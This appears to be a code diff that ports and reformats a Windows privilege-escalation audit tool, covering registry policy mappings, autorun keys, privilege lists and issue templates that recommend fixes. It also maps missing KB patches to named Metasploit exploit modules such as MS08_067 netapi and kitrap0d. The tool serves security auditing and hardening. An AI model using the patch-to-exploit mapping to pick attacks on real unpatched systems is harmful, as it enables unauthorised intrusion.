+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\EnableSecuritySignature',
+ 'Network access: Named Pipes that can be accessed anonymously':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\NullSessionPipes',
+ 'Network access: Restrict anonymous access to Named Pipes and Shares':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\NullSessionShares',
+ 'Network access: Shares that can be accessed anonymously':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\NullSessionShares ',
+ 'Microsoft network server: Digitally sign communications (always)':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\RequireSecuritySignature',
+ 'Microsoft network server: Server SPN target name validation level':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanManServer\Parameters\SmbServerNameHardeningLevel',
+ 'Microsoft network client: Send unencrypted password to third-party SMB servers':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanWorkstation\Parameters\EnablePlainTextPassword',
+ 'Microsoft network client: Digitally sign communications (if server agrees) ':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanWorkstation\Parameters\EnableSecuritySignature',
+ 'Microsoft network client: Digitally sign communications (always)':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanWorkstation\Parameters\RequireSecuritySignature',
+ 'Network security: LDAP client signing requirements':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LDAP\LDAPClientIntegrity',
+ 'Network security: Restrict NTLM: Audit NTLM authentication in this domain':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\AuditNTLMInDomain',
+ 'Network security: Restrict NTLM: Add server exceptions in this domain':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\DCAllowedNTLMServers',
+ 'Domain member: Disable HKEY_LOCAL_MACHINE account password changes':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange',
+ 'Domain member: Maximum HKEY_LOCAL_MACHINE account password age':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\MaximumPasswordAge',
+ 'Domain controller: Refuse HKEY_LOCAL_MACHINE account password changes':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\RefusePasswordChange',
+ 'Domain member: Digitally encrypt or sign secure channel data (always)':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\RequireSignOrSeal',
+ 'Domain member: Require strong (Windows 2000 or later) session key':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\RequireStrongKey',
+ '"Network security: Restrict NTLM: NTLM authentication in this domain':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\RestrictNTLMInDomain',
+ 'Domain member: Digitally encrypt secure channel data (when possible)':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\SealSecureChannel',
+ 'Domain member: Digitally sign secure channel data (when possible) ':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Netlogon\Parameters\SignSecureChannel',
+ 'Domain controller: LDAP server signing requirements':
+ r'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\NTDS\Parameters\LDAPServerIntegrity',
}
msexploitstring = '''
@@ -1129,110 +1207,95 @@
'''
kb_nos = {
- '977165': 'MS10_015 Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (kitrap0d - meterpreter "getsystem")',
- '828749': 'MS03_049 Microsoft Workstation Service NetAddAlternateComputerName Overflow (netapi) ',
- '828028': 'MS04_007 Microsoft ASN.1 Library Bitstring Heap Overflow (killbill) ',
- '835732': 'MS04_011 Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow (lsass) ',
- '841533': 'MS04_031 Microsoft NetDDE Service Overflow (netdde)',
- '899588': 'MS05_039 Microsoft Plug and Play Service Overflow (pnp)',
- '911280': 'MS06_025 Microsoft RRAS Service RASMAN Registry Overflow (rasmans_reg)',
- '911280': 'MS06_025 Microsoft RRAS Service Overflow (rras)',
- '921883': 'MS06_040 Microsoft Server Service NetpwPathCanonicalize Overflow (netapi)',
- '923980': 'MS06_066 Microsoft Services MS06-066 nwapi32.dll (nwapi)',
- '923980': 'MS06_066 Microsoft Services MS06-066 nwwks.dll (nwwks)',
- '924270': 'MS06_070 Microsoft Workstation Service NetpManageIPCConnect Overflow (wkssvc)',
- '935966': 'MS07_029 Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB) (msdns_zonename)',
- '958644': 'MS08_067 Microsoft Server Service Relative Path Stack Corruption (netapi)',
- '975517': 'MS09_050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference (smb2_negotiate_func_index)',
- '823980': 'MS03_026 Microsoft RPC DCOM Interface Overflow',
- '892944': 'MS05_017 Microsoft Message Queueing Service Path Overflow',
- '937894': 'MS07_065 Microsoft Message Queueing Service DNS Name Path Overflow'
+ '977165':
+ 'MS10_015 Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (kitrap0d - meterpreter "getsystem")',
+ '828749':
+ 'MS03_049 Microsoft Workstation Service NetAddAlternateComputerName Overflow (netapi) ',
+ '828028':
+ 'MS04_007 Microsoft ASN.1 Library Bitstring Heap Overflow (killbill) ',
+ '835732':
+ 'MS04_011 Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow (lsass) ',
+ '841533': 'MS04_031 Microsoft NetDDE Service Overflow (netdde)',
+ '899588': 'MS05_039 Microsoft Plug and Play Service Overflow (pnp)',
+ '911280':
+ 'MS06_025 Microsoft RRAS Service RASMAN Registry Overflow (rasmans_reg)',
+ '911280': 'MS06_025 Microsoft RRAS Service Overflow (rras)',
+ '921883':
+ 'MS06_040 Microsoft Server Service NetpwPathCanonicalize Overflow (netapi)',
+ '923980': 'MS06_066 Microsoft Services MS06-066 nwapi32.dll (nwapi)',
+ '923980': 'MS06_066 Microsoft Services MS06-066 nwwks.dll (nwwks)',
+ '924270':
+ 'MS06_070 Microsoft Workstation Service NetpManageIPCConnect Overflow (wkssvc)',
+ '935966':
+ 'MS07_029 Microsoft DNS RPC Service extractQuotedChar() Overflow (SMB) (msdns_zonename)',
+ '958644':
+ 'MS08_067 Microsoft Server Service Relative Path Stack Corruption (netapi)',
+ '975517':
+ 'MS09_050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference (smb2_negotiate_func_index)',
+ '823980': 'MS03_026 Microsoft RPC DCOM Interface Overflow',
+ '892944': 'MS05_017 Microsoft Message Queueing Service Path Overflow',
+ '937894':
+ 'MS07_065 Microsoft Message Queueing Service DNS Name Path Overflow'
}
reg_paths = (
- 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services',
-# 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run',
- 'HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run',
- 'HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce',
- 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
- 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell',
- 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit',
- 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce',
-# 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce',
- 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices',
- 'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce',
-# 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices',
-# 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce',
-# 'HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows',
+ r'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services',
+ # r'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run',
+ r'HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run',
+ r'HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce',
+ r'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
+ r'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell',
+ r'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit',
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce',
+ # r'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce',
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices',
+ r'HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce',
+ # r'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices',
+ # r'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce',
+ # r'HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows',
)
# We don't care if some users / groups hold dangerous permission because they're trusted
# These have fully qualified names:
trusted_principals_fq = [
- "BUILTIN\\Administrators",
- "NT SERVICE\\TrustedInstaller",
+ "BUILTIN\\Administrators", "NT SERVICE\\TrustedInstaller",
"NT AUTHORITY\\SYSTEM"
]
# We don't care if members of these groups hold dangerous permission because they're trusted
# These have names without a domain:
#trusted_principals = (
- #"Administrators",
- #"Domain Admins",
- #"Enterprise Admins",
+#"Administrators",
+#"Domain Admins",
+#"Enterprise Admins",
#)
trusted_principals = []
-eventlog_key_hklm = 'SYSTEM\CurrentControlSet\Services\Eventlog'
+eventlog_key_hklm = r'SYSTEM\CurrentControlSet\Services\Eventlog'
-# Windows privileges from
+# Windows privileges from
windows_privileges = (
- "SeAssignPrimaryTokenPrivilege",
- "SeBackupPrivilege",
- "SeCreatePagefilePrivilege",
- "SeCreateTokenPrivilege",
- "SeDebugPrivilege",
- "SeEnableDelegationPrivilege",
- "SeLoadDriverPrivilege",
- "SeMachineAccountPrivilege",
- "SeManageVolumePrivilege",
- "SeRelabelPrivilege",
- "SeRestorePrivilege",
- "SeShutdownPrivilege",
- "SeSyncAgentPrivilege",
- "SeTakeOwnershipPrivilege",
- "SeTcbPrivilege",
- "SeTrustedCredManAccessPrivilege",
- "SeSecurityPrivilege",
- "SeRemoteShutdownPrivilege",
- "SeProfileSingleProcessPrivilege",
- "SeAuditPrivilege",
- "SeIncreaseBasePriorityPrivilege",
- "SeIncreaseWorkingSetPrivilege",
- "SeIncreaseQuotaPrivilege",
- "SeLockMemoryPrivilege",
- "SeSystemEnvironmentPrivilege",
- "SeChangeNotifyPrivilege",
- "SeCreateGlobalPrivilege",
- "SeCreatePermanentPrivilege",
- "SeCreateSymbolicLinkPrivilege",
- "SeImpersonatePrivilege",
- "SeSystemProfilePrivilege",
- "SeSystemtimePrivilege",
- "SeTimeZonePrivilege",
- "SeUndockPrivilege",
- "SeUnsolicitedInputPrivilege",
- "SeBatchLogonRight",
- "SeDenyBatchLogonRight",
- "SeDenyInteractiveLogonRight",
- "SeDenyNetworkLogonRight",
- "SeDenyRemoteInteractiveLogonRight",
- "SeDenyServiceLogonRight",
- "SeInteractiveLogonRight",
- "SeNetworkLogonRight",
- "SeRemoteInteractiveLogonRight",
- "SeServiceLogonRight"
-)
+ "SeAssignPrimaryTokenPrivilege", "SeBackupPrivilege",
+ "SeCreatePagefilePrivilege", "SeCreateTokenPrivilege", "SeDebugPrivilege",
+ "SeEnableDelegationPrivilege", "SeLoadDriverPrivilege",
+ "SeMachineAccountPrivilege", "SeManageVolumePrivilege",
+ "SeRelabelPrivilege", "SeRestorePrivilege", "SeShutdownPrivilege",
+ "SeSyncAgentPrivilege", "SeTakeOwnershipPrivilege", "SeTcbPrivilege",
+ "SeTrustedCredManAccessPrivilege", "SeSecurityPrivilege",
+ "SeRemoteShutdownPrivilege", "SeProfileSingleProcessPrivilege",
+ "SeAuditPrivilege", "SeIncreaseBasePriorityPrivilege",
+ "SeIncreaseWorkingSetPrivilege", "SeIncreaseQuotaPrivilege",
+ "SeLockMemoryPrivilege", "SeSystemEnvironmentPrivilege",
+ "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege",
+ "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege",
+ "SeImpersonatePrivilege", "SeSystemProfilePrivilege",
+ "SeSystemtimePrivilege", "SeTimeZonePrivilege", "SeUndockPrivilege",
+ "SeUnsolicitedInputPrivilege", "SeBatchLogonRight",
+ "SeDenyBatchLogonRight", "SeDenyInteractiveLogonRight",
+ "SeDenyNetworkLogonRight", "SeDenyRemoteInteractiveLogonRight",
+ "SeDenyServiceLogonRight", "SeInteractiveLogonRight",
+ "SeNetworkLogonRight", "SeRemoteInteractiveLogonRight",
+ "SeServiceLogonRight")
share_types = (
"STYPE_IPC",
@@ -1242,40 +1305,39 @@
)
sv_types = (
- "SV_TYPE_WORKSTATION",
- "SV_TYPE_SERVER",
- "SV_TYPE_SQLSERVER",
- "SV_TYPE_DOMAIN_CTRL",
- "SV_TYPE_DOMAIN_BAKCTRL",
- "SV_TYPE_TIME_SOURCE",
- "SV_TYPE_AFP",
- "SV_TYPE_NOVELL",
- "SV_TYPE_DOMAIN_MEMBER",
- "SV_TYPE_PRINTQ_SERVER",
- "SV_TYPE_DIALIN_SERVER",
- "SV_TYPE_XENIX_SERVER",
- "SV_TYPE_NT",
- "SV_TYPE_WFW",
- "SV_TYPE_SERVER_MFPN",
- "SV_TYPE_SERVER_NT",
- "SV_TYPE_POTENTIAL_BROWSER",
- "SV_TYPE_BACKUP_BROWSER",
- "SV_TYPE_MASTER_BROWSER",
- "SV_TYPE_DOMAIN_MASTER",
- "SV_TYPE_SERVER_OSF",
- "SV_TYPE_SERVER_VMS",
- "SV_TYPE_WINDOWS",
- "SV_TYPE_DFS",
- "SV_TYPE_CLUSTER_NT",
- "SV_TYPE_TERMINALSERVER", # missing from win32netcon.py
- #"SV_TYPE_CLUSTER_VS_NT", # missing from win32netcon.py
- "SV_TYPE_DCE",
- "SV_TYPE_ALTERNATE_XPORT",
- "SV_TYPE_LOCAL_LIST_ONLY",
- "SV_TYPE_DOMAIN_ENUM"
-)
+ "SV_TYPE_WORKSTATION",
+ "SV_TYPE_SERVER",
+ "SV_TYPE_SQLSERVER",
+ "SV_TYPE_DOMAIN_CTRL",
+ "SV_TYPE_DOMAIN_BAKCTRL",
+ "SV_TYPE_TIME_SOURCE",
+ "SV_TYPE_AFP",
+ "SV_TYPE_NOVELL",
+ "SV_TYPE_DOMAIN_MEMBER",
+ "SV_TYPE_PRINTQ_SERVER",
+ "SV_TYPE_DIALIN_SERVER",
+ "SV_TYPE_XENIX_SERVER",
+ "SV_TYPE_NT",
+ "SV_TYPE_WFW",
+ "SV_TYPE_SERVER_MFPN",
+ "SV_TYPE_SERVER_NT",
+ "SV_TYPE_POTENTIAL_BROWSER",
+ "SV_TYPE_BACKUP_BROWSER",
+ "SV_TYPE_MASTER_BROWSER",
+ "SV_TYPE_DOMAIN_MASTER",
+ "SV_TYPE_SERVER_OSF",
+ "SV_TYPE_SERVER_VMS",
+ "SV_TYPE_WINDOWS",
+ "SV_TYPE_DFS",
+ "SV_TYPE_CLUSTER_NT",
+ "SV_TYPE_TERMINALSERVER", # missing from win32netcon.py
+ #"SV_TYPE_CLUSTER_VS_NT", # missing from win32netcon.py
+ "SV_TYPE_DCE",
+ "SV_TYPE_ALTERNATE_XPORT",
+ "SV_TYPE_LOCAL_LIST_ONLY",
+ "SV_TYPE_DOMAIN_ENUM")
-win32netcon.SV_TYPE_TERMINALSERVER = 0x2000000
+win32netcon.SV_TYPE_TERMINALSERVER = 0x2000000
sid_is_group_type = {
ntsecuritycon.SidTypeUser: 0,
@@ -1362,8 +1424,8 @@
# "READ_CONTROL",
# "WRITE_DAC",
#"WRITE_OWNER",
- 'regkey': {
- _winreg: (
+ 'regkey': {
+ winreg: (
#"KEY_ALL_ACCESS", # Combines the STANDARD_RIGHTS_REQUIRED, KEY_QUERY_VALUE, KEY_SET_VALUE, KEY_CREATE_SUB_KEY, KEY_ENUMERATE_SUB_KEYS, KEY_NOTIFY, and KEY_CREATE_LINK access rights.
#"KEY_QUERY_VALUE", # GUI "Query Value"
"KEY_SET_VALUE", # GUI "Set Value". Required to create, delete, or set a registry value.
@@ -1496,15 +1558,14 @@
"TOKEN_DUPLICATE",
"TOKEN_EXECUTE",
"TOKEN_IMPERSONATE",
-# "TOKEN_QUERY",
- # "TOKEN_QUERY_SOURCE",
- # "TOKEN_READ",
+ # "TOKEN_QUERY",
+ # "TOKEN_QUERY_SOURCE",
+ # "TOKEN_READ",
"TOKEN_WRITE",
- "TOKEN_ALL_ACCESS"
- ),
+ "TOKEN_ALL_ACCESS"),
ntsecuritycon: (
"DELETE",
- # "READ_CONTROL",
+ # "READ_CONTROL",
"WRITE_DAC",
"WRITE_OWNER",
#"SYNCHRONIZE",
@@ -1535,14 +1596,10 @@
"SERVICE_STOP",
# "SERVICE_USER_DEFINED_CONTROL", # TODO this is granted most of the time. Double check that's not a bad thing.
),
- ntsecuritycon: (
- "DELETE",
- "WRITE_DAC",
- "WRITE_OWNER"
- )
-# win32con: (
-# "READ_CONTROL"
-# )
+ ntsecuritycon: ("DELETE", "WRITE_DAC", "WRITE_OWNER")
+ # win32con: (
+ # "READ_CONTROL"
+ # )
},
}
@@ -1585,7 +1642,7 @@
)
},
'regkey': {
- _winreg: (
+ winreg: (
#"KEY_ALL_ACCESS",
"KEY_CREATE_LINK",
"KEY_CREATE_SUB_KEY",
@@ -1669,8 +1726,7 @@
"GENERIC_READ",
"GENERIC_WRITE",
"GENERIC_EXECUTE",
- "GENERIC_ALL"
- )
+ "GENERIC_ALL")
},
# http://msdn.microsoft.com/en-gb/library/windows/desktop/ms686769(v=vs.85).aspx
'thread': {
@@ -1770,8 +1826,7 @@
"TOKEN_QUERY_SOURCE",
"TOKEN_READ",
"TOKEN_WRITE",
- "TOKEN_ALL_ACCESS"
- ),
+ "TOKEN_ALL_ACCESS"),
ntsecuritycon: (
"DELETE",
"READ_CONTROL",
@@ -1789,627 +1844,859 @@
# TODO: Use a big XML file instead. Read it in to generate this dictionary.
issue_template = {
'WPC001': {
- 'title': "Insecure Permissions on Program Files",
- 'description': '''Some of the programs in %ProgramFiles% and/or %ProgramFiles(x86)% could be changed by non-administrative users.
+ 'title': "Insecure Permissions on Program Files",
+ 'description':
+ '''Some of the programs in %ProgramFiles% and/or %ProgramFiles(x86)% could be changed by non-administrative users.
This could allow certain users on the system to place malicious code into certain key directories, or to replace programs with malicious ones. A malicious local user could use this technique to hijack the privileges of other local users, running commands with their privileges.
''',
- 'recommendation': '''Programs run by multiple users should only be changable only by administrative users. The directories containing these programs should only be changable only by administrators too. Revoke write privileges for non-administrative users from the above programs and directories.''',
- 'supporting_data': {
- 'writable_progs': {
- 'section': "description",
- 'preamble': "The programs below can be modified by non-administrative users:",
- },
- 'writable_dirs': {
- 'section': "description",
- 'preamble': "The directories below can be changed by non-administrative users:",
- },
- }
+ 'recommendation':
+ '''Programs run by multiple users should only be changable only by administrative users. The directories containing these programs should only be changable only by administrators too. Revoke write privileges for non-administrative users from the above programs and directories.''',
+ 'supporting_data': {
+ 'writable_progs': {
+ 'section':
+ "description",
+ 'preamble':
+ "The programs below can be modified by non-administrative users:",
+ },
+ 'writable_dirs': {
+ 'section':
+ "description",
+ 'preamble':
+ "The directories below can be changed by non-administrative users:",
+ },
+ }
},
'WPC002': {
- 'title': "Insecure Permissions on Files and Directories in Path (OBSELETE ISSUE)",
- 'description': '''Some of the programs and directories in the %PATH% variable could be changed by non-administrative users.
+ 'title':
+ "Insecure Permissions on Files and Directories in Path (OBSELETE ISSUE)",
+ 'description':
+ '''Some of the programs and directories in the %PATH% variable could be changed by non-administrative users.
This could allow certain users on the system to place malicious code into certain key directories, or to replace programs with malicious ones. A malicious local user could use this technique to hijack the privileges of other local users, running commands with their privileges.
''',
- 'recommendation': '''Programs run by multiple users should only be changable only by administrative users. The directories containing these programs should only be changable only by administrators too. Revoke write privileges for non-administrative users from the above programs and directories.''',
- 'supporting_data': {
- 'writable_progs': {
- 'section': "description",
- 'preamble': "The programs below are in the path of the user used to carry out this audit. Each one can be changed by non-administrative users:",
- },
- 'writable_dirs': {
- 'section': "description",
- 'preamble': "The directories below are in the path of the user used to carry out this audit. Each one can be changed by non-administrative users:",
- }
- }
+ 'recommendation':
+ '''Programs run by multiple users should only be changable only by administrative users. The directories containing these programs should only be changable only by administrators too. Revoke write privileges for non-administrative users from the above programs and directories.''',
+ 'supporting_data': {
+ 'writable_progs': {
+ 'section':
+ "description",
+ 'preamble':
+ "The programs below are in the path of the user used to carry out this audit. Each one can be changed by non-administrative users:",
+ },
+ 'writable_dirs': {
+ 'section':
+ "description",
+ 'preamble':
+ "The directories below are in the path of the user used to carry out this audit. Each one can be changed by non-administrative users:",
+ }
+ }
},
# TODO walk the whole registry looking for .exe and .dll in data?
'WPC003': {
- 'title': "Insecure Permissions In Windows Registry (TODO)",
- 'description': '''Some registry keys that hold the names of programs run by other users were checked and found to have insecure permissions. It would be possible for non-administrative users to modify the registry to cause different programs to be run. This weakness could be abused by low-privileged users to run commands of their choosing with higher privileges.''',
- 'recommendation': '''Modify the permissions on the above registry keys to allow only administrators write access. Revoke write access from low-privileged users.''',
- 'supporting_data': {
- 'writable_reg_paths': {
- 'section': "description",
- 'preamble': "The registry keys below could be changed by non-administrative users:",
- },
- }
+ 'title': "Insecure Permissions In Windows Registry (TODO)",
+ 'description':
+ '''Some registry keys that hold the names of programs run by other users were checked and found to have insecure permissions. It would be possible for non-administrative users to modify the registry to cause different programs to be run. This weakness could be abused by low-privileged users to run commands of their choosing with higher privileges.''',
+ 'recommendation':
+ '''Modify the permissions on the above registry keys to allow only administrators write access. Revoke write access from low-privileged users.''',
+ 'supporting_data': {
+ 'writable_reg_paths': {
+ 'section':
+ "description",
+ 'preamble':
+ "The registry keys below could be changed by non-administrative users:",
+ },
+ }
},
'WPC005': {
- 'title': "Insecure Permissions On Windows Service Registry Keys (OBSELETED by WPC038 and others)",
- 'description': '''Some registry keys that hold the names of programs that are run when Windows Services start were found to have weak file permissions. They could be changed by non-administrative users to cause malicious programs to be run instead of the intended Windows Service Executable.''',
- 'recommendation': '''Modify the permissions on the above programs to allow only administrators write access. Revoke write access from low-privileged users.''',
- 'supporting_data': {
- 'writable_reg_paths': {
- 'section': "description",
- 'preamble': "The registry keys below could be changed by non-administrative users:",
- },
- }
+ 'title':
+ "Insecure Permissions On Windows Service Registry Keys (OBSELETED by WPC038 and others)",
+ 'description':
+ '''Some registry keys that hold the names of programs that are run when Windows Services start were found to have weak file permissions. They could be changed by non-administrative users to cause malicious programs to be run instead of the intended Windows Service Executable.''',
+ 'recommendation':
+ '''Modify the permissions on the above programs to allow only administrators write access. Revoke write access from low-privileged users.''',
+ 'supporting_data': {
+ 'writable_reg_paths': {
+ 'section':
+ "description",
+ 'preamble':
+ "The registry keys below could be changed by non-administrative users:",
+ },
+ }
},
'WPC007': {
- 'title': "Write Permissions Allowed On Event Log File",
- 'description': '''Some of the Event Log files could be changed by non-administrative users. This may allow attackers to cover their tracks.''',
- 'recommendation': '''Modify the permissions on the above files to allow only administrators write access. Revoke write access from low-privileged users.''',
- 'supporting_data': {
- 'writable_eventlog_file': {
- 'section': "description",
- 'preamble': "The files below could be changed by non-administrative users:",
- },
- }
+ 'title': "Write Permissions Allowed On Event Log File",
+ 'description':
+ '''Some of the Event Log files could be changed by non-administrative users. This may allow attackers to cover their tracks.''',
+ 'recommendation':
+ '''Modify the permissions on the above files to allow only administrators write access. Revoke write access from low-privileged users.''',
+ 'supporting_data': {
+ 'writable_eventlog_file': {
+ 'section':
+ "description",
+ 'preamble':
+ "The files below could be changed by non-administrative users:",
+ },
+ }
},
'WPC008': {
- 'title': "Insecure Permissions On Event Log DLL",
- 'description': '''Some DLL files used by Event Viewer to display logs could be changed by non-administrative users. It may be possible to replace these with a view to having code run when an administrative user next views log files.''',
- 'recommendation': '''Modify the permissions on the above DLLs to allow only administrators write access. Revoke write access from low-privileged users.''',
- 'supporting_data': {
- 'writable_eventlog_dll': {
- 'section': "description",
- 'preamble': "The DLL files below could be changed by non-administrative users:",
- },
- }
+ 'title': "Insecure Permissions On Event Log DLL",
+ 'description':
+ '''Some DLL files used by Event Viewer to display logs could be changed by non-administrative users. It may be possible to replace these with a view to having code run when an administrative user next views log files.''',
+ 'recommendation':
+ '''Modify the permissions on the above DLLs to allow only administrators write access. Revoke write access from low-privileged users.''',
+ 'supporting_data': {
+ 'writable_eventlog_dll': {
+ 'section':
+ "description",
+ 'preamble':
+ "The DLL files below could be changed by non-administrative users:",
+ },
+ }
},
'WPC009': {
- 'title': "Insecure Permissions On Event Log Registry Key",
- 'description': '''Some registry keys that hold the names of DLLs used by Event Viewer and the location of Log Files are writable by non-administrative users. It may be possible to maliciouly alter the registry to change the location of log files or run malicious code.''',
- 'recommendation': '''Modify the permissions on the above programs to allow only administrators write access. Revoke write access from low-privileged users.''',
- 'supporting_data': {
- 'writable_eventlog_key': {
- 'section': "description",
- 'preamble': "The registry keys below could be changed by non-administrative users:",
- },
- }
+ 'title': "Insecure Permissions On Event Log Registry Key",
+ 'description':
+ '''Some registry keys that hold the names of DLLs used by Event Viewer and the location of Log Files are writable by non-administrative users. It may be possible to maliciouly alter the registry to change the location of log files or run malicious code.''',
+ 'recommendation':
+ '''Modify the permissions on the above programs to allow only administrators write access. Revoke write access from low-privileged users.''',
+ 'supporting_data': {
+ 'writable_eventlog_key': {
+ 'section':
+ "description",
+ 'preamble':
+ "The registry keys below could be changed by non-administrative users:",
+ },
+ }
},
'WPC010': {
- 'title': "File Creation Allowed On Drive Root",
- 'description': '''Some of the local drive roots allow non-administrative users to create files. This could allow malicious files to be placed in on the server in the hope that they'll allow a local user to escalate privileges (e.g. create program.exe which might get accidentally launched by another user).''',
- 'recommendation': '''Modify the permissions on the drive roots to only allow administrators write access. Revoke write access from low-privileged users.''',
- 'supporting_data': {
- 'dir_add_file': {
- 'section': "description",
- 'preamble': "The following drives allow non-administrative users to write to their root directory:",
- },
- }
+ 'title': "File Creation Allowed On Drive Root",
+ 'description':
+ '''Some of the local drive roots allow non-administrative users to create files. This could allow malicious files to be placed in on the server in the hope that they'll allow a local user to escalate privileges (e.g. create program.exe which might get accidentally launched by another user).''',
+ 'recommendation':
+ '''Modify the permissions on the drive roots to only allow administrators write access. Revoke write access from low-privileged users.''',
+ 'supporting_data': {
+ 'dir_add_file': {
+ 'section':
+ "description",
+ 'preamble':
+ "The following drives allow non-administrative users to write to their root directory:",
+ },
+ }
},
'WPC011': {
- 'title': "Insecure (Non-NTFS) File System Used",
- 'description': '''Some local drives use Non-NTFS file systems. These drive therefore don't allow secure file permissions to be used. Any local user can change any data on these drives.''',
- 'recommendation': '''Use NTFS filesystems instead of FAT. Ensure that strong file permissions are set - NTFS file permissions are insecure by default after FAT file systems are converted.''',
- 'supporting_data': {
- 'drive_and_fs_list': {
- 'section': "description",
- 'preamble': "The following drives use Non-NTFS file systems:",
- },
- }
+ 'title': "Insecure (Non-NTFS) File System Used",
+ 'description':
+ '''Some local drives use Non-NTFS file systems. These drive therefore don't allow secure file permissions to be used. Any local user can change any data on these drives.''',
+ 'recommendation':
+ '''Use NTFS filesystems instead of FAT. Ensure that strong file permissions are set - NTFS file permissions are insecure by default after FAT file systems are converted.''',
+ 'supporting_data': {
+ 'drive_and_fs_list': {
+ 'section': "description",
+ 'preamble': "The following drives use Non-NTFS file systems:",
+ },
+ }
},
'WPC012': {
- 'title': "Insecure Permissions On Windows Services (OBSELETE)",
- 'description': '''Some of the Windows Services installed have weak permissions. This could allow non-administrators to manipulate services to their own advantage. The impact depends on the permissions granted, but can include starting services, stopping service or even reconfiguring them to run a different program. This can lead to denial of service or even privilege escalation if the service is running as a user with more privilege than a malicious local user.''',
- 'recommendation': '''Review the permissions that have been granted to non-administrative users and revoke access where possible.''',
- 'supporting_data': {
- 'weak_service_perms': {
- 'section': "description",
- 'preamble': "Some Windows Services can be manipulated by non-administrator users:",
- },
- }
+ 'title': "Insecure Permissions On Windows Services (OBSELETE)",
+ 'description':
+ '''Some of the Windows Services installed have weak permissions. This could allow non-administrators to manipulate services to their own advantage. The impact depends on the permissions granted, but can include starting services, stopping service or even reconfiguring them to run a different program. This can lead to denial of service or even privilege escalation if the service is running as a user with more privilege than a malicious local user.''',
+ 'recommendation':
+ '''Review the permissions that have been granted to non-administrative users and revoke access where possible.''',
+ 'supporting_data': {
+ 'weak_service_perms': {
+ 'section':
+ "description",
+ 'preamble':
+ "Some Windows Services can be manipulated by non-administrator users:",
+ },
+ }
},
'WPC013': {
- 'title': "Insecure Permissions On Files / Directories In System PATH",
- 'description': '''Some programs/directories in the system path have weak permissions. TODO which user are affected by this issue?''',
